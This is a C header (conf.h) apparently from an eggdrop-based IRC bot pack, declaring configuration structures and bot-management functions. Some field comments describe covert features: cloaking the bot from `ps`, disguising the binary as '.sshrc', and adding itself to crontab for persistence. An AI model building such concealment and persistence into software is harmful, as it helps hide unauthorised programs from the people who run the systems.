conf.h 1.8 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667
  1. #ifndef _CONF_H
  2. #define _CONF_H
  3. #include <sys/types.h>
  4. #include <stdio.h>
  5. #include "types.h"
  6. #include "eggdrop.h"
  7. typedef struct conf_bot_b {
  8. struct conf_bot_b *next;
  9. struct userrec *u; /* our own user record */
  10. char *nick;
  11. char *host;
  12. char *host6;
  13. char *ip;
  14. char *ip6;
  15. pid_t pid; /* contains the PID for the bot (read for the pidfile) */
  16. char *pid_file; /* path and filename of the .pid file */
  17. #ifdef LEAF
  18. int localhub; /* bot is localhub */
  19. #endif /* LEAF */
  20. } conf_bot;
  21. typedef struct conf_b {
  22. conf_bot *bots; /* the list of bots */
  23. conf_bot *bot; /* single bot (me) */
  24. char *localhub; /* my localhub */
  25. uid_t uid;
  26. char *uname;
  27. char *username; /* shell username */
  28. char *homedir; /* homedir */
  29. int autouname; /* should we just auto update any changed in uname output? */
  30. int pscloak; /* should the bots bother trying to cloak `ps`? */
  31. port_t portmin; /* for hubs, the reserved port range for incoming connections */
  32. port_t portmax; /* for hubs, the reserved port range for incoming connections */
  33. char *binpath; /* path to binary, ie: ~/ */
  34. char *binname; /* binary name, ie: .sshrc */
  35. int autocron; /* should the bot auto crontab itself? */
  36. char *comments; /* we dont want to lose our comments now do we?! */
  37. } conf_t;
  38. extern conf_t conf, conffile;
  39. enum {
  40. CONF_ENC = 1,
  41. CONF_COMMENT = 2
  42. };
  43. #ifdef LEAF
  44. void spawnbots();
  45. int killbot(char *);
  46. #endif /* LEAF */
  47. #ifdef S_CONFEDIT
  48. void confedit(char *) __attribute__((noreturn));
  49. #endif /* S_CONFEDIT */
  50. pid_t checkpid(char *, conf_bot *);
  51. void init_conf();
  52. void free_conf();
  53. int readconf(char *, int);
  54. int parseconf();
  55. int writeconf(char *, FILE *, int);
  56. void fillconf(conf_t *);
  57. extern char cfile[DIRMAX];
  58. #endif /* !_CONF_H */